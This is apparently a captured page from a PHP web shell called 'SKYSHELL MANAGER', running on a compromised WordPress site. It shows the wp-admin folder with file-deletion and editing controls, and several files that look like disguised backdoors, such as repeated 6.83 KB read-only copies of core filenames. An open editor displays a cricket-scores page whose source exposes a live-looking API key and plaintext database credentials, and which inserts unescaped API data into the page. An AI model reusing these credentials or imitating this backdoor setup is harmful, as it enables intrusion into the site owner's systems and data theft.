📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.php
5.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-link-form.php
6.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
2.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load-styles.php
2.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
1.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: test-match.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CricLive</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- Bootstrap CSS --> <link href="css/bootstrap.min.css" rel="stylesheet"> <style> .custom-container { max-width: 900px; margin: auto; } .navbar-brand { font-weight: bold; font-size: 24px; margin-right: 30px; } .navbar-nav { gap: 20px; } .dropdown-menu a:hover { background-color: #f1f1f1; } .nav-link { font-weight: 500; } .menuli{ color: #ffffff; font-size: 14px; } </style> <style> body { font-family: Arial, sans-serif; background: #f8f9fa; padding: 20px; } .match-card { justify-content: space-between; align-items: center; background: white; border: 1px solid #ddd; border-radius: 10px; padding: 15px; margin-bottom: 15px; } .match-time { font-weight: bold; color: #333; background: #e1e1e1; padding: 5px; font-size: 14px; } .match-name { font-weight: bold; color: #333; padding: 25px 0px 5px 0px; font-size: 14px; } .match-status { font-size: 12px; padding-bottom: 20px; color: #ad0f1e; } } .match-details { flex: 1; margin-left: 20px; } .teams { align-items: center; justify-content: space-between; margin-top: 5px; } .teams div { align-items: center; } .teams img { width: 40px; height: 40px; margin-right: 10px; border-radius: 100%; } .vs { font-weight: bold; margin: 0 15px; } </style> <style> .card { border: none; border-radius: 10px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); transition: transform 0.2s ease-in-out; } .card:hover { transform: translateY(-5px); } .card-img-top { max-height: 250px; object-fit: cover; border-top-left-radius: 10px; border-top-right-radius: 10px; } .card-title a { color: #000000; text-decoration: none; } .card-title a:hover { text-decoration: underline; } .card-text { color: #333; } </style> </head> <body> <!-- Navbar --> <div class="container custom-container"> <nav class="navbar navbar-expand-lg navbar-light bg-light shadow-sm" style="padding:0px"> <a class="navbar-brand" href="#">CricLive</a> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarDropdowns"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarDropdowns"> <ul class="navbar-nav d-flex flex-row"> <li class="nav-item"> <a class="nav-link menuli" href="today-match.php" role="button"> Today Match </a> </li> <li class="nav-item"> <a class="nav-link menuli" href="t20-schedule.php" role="button"> T20 Schedule </a> </li> <li class="nav-item"> <a class="nav-link menuli" href="test-match.php" role="button"> Test Match </a> </li> <li class="nav-item"> <a class="nav-link menuli" href="odi.php" role="button"> One Day International </a> </li> <li class="nav-item"> <a class="nav-link menuli" href="news.php" role="button"> News </a> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="newsDropdown" role="button" data-bs-toggle="dropdown"> test </a> <ul class="dropdown-menu"> <li><a class="dropdown-item" href="#">Latest News</a></li> <li><a class="dropdown-item" href="#">Match Reports</a></li> <li><a class="dropdown-item" href="#">Interviews</a></li> </ul> </li> </ul> </div> </nav> </div> <!-- Page Content --> <div class="container custom-container mt-5"> <div class="row"> <!-- Main Content Column (8 columns) --> <div class="col-md-8"> <h2 style="font-size: 20px;font-weight: 600;padding-bottom: 12px;">Test Match Schedule</h2> <div id="matches"></div> <script> fetch("https://api.cricapi.com/v1/cricScore?apikey=8b660d3c-cf52-4977-b651-463c68cd69f0") .then(response => response.json()) .then(data => { const matchContainer = document.getElementById("matches"); const matches = data.data .filter(match => match.matchType === "test") .map(match => { const gmtTime = new Date(match.dateTimeGMT); const istTime = new Date(gmtTime.getTime() + (5.5 * 60 * 60 * 1000)); return { ...match, istTime }; }) .sort((a, b) => a.istTime - b.istTime); // Sort ascending matches.forEach(match => { const timeString = match.istTime.toLocaleString('en-IN', { timeZone: 'Asia/Kolkata', hour: '2-digit', minute: '2-digit', day: 'numeric', month: 'short', year: 'numeric', hour12: true }); const matchHTML = ` <div class="match-card"> <div class="row"> <div class="col-md-12"> <div class="match-time">${timeString}</div> </div> <div class="col-md-12"> <div class="match-name"><strong>${match.series}</strong></div> </div> <div class="col-md-12"> <div class="match-status">${match.status}</div> </div> </div> <div class="match-details"> <div class="teams"> <div class="row"> <div class="col-md-5"> <div><img src="${match.t1img}" alt="${match.t1}"><span style="font-size: 14px;"> <br>${match.t1}</span></div> <div class="match-status">${match.t1s}</div> </div> <div class="col-md-2"> <div class="vs">vs</div> </div> <div class="col-md-5"> <div><img src="${match.t2img}" alt="${match.t2}"><span style="font-size: 14px;"> <br>${match.t2}</span></div> <div class="match-status">${match.t2s}</div> </div> </div> </div> </div> </div> `; matchContainer.innerHTML += matchHTML; }); }) .catch(error => { document.getElementById("matches").innerHTML = "Failed to load match data."; console.error("Error fetching data:", error); }); </script> </div> <!-- Sidebar Column (4 columns) --> <div class="col-md-4"> <?php // DB connection $mysqli = new mysqli("localhost", "wxwordpress", "deowxwp2016", "cricnews"); if ($mysqli->connect_error) { die("Connection failed: " . $mysqli->connect_error); } // Fetch news records $result = $mysqli->query("SELECT * FROM news LIMIT 12"); ?> <div class="row"> <h2 style="font-size: 20px;font-weight: 600;padding-bottom: 12px;">Recent Stories</h2> <?php while($row = $result->fetch_assoc()): ?> <div class="col-12 mb-4"> <div class="card"> <img src="<?php echo htmlspecialchars($row['image_url']); ?>" class="card-img-top" alt="News Image"> <div class="card-body"> <h5 class="card-title"> <a href="<?php echo htmlspecialchars($row['link']); ?>" target="_blank"> <?php echo htmlspecialchars($row['title']); ?> </a> </h5> <p class="card-text"><?php echo htmlspecialchars($row['description']); ?></p> </div> </div> </div> <?php endwhile; ?> </div> </div> </div> </div> <!-- Bootstrap JS --> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html>
Save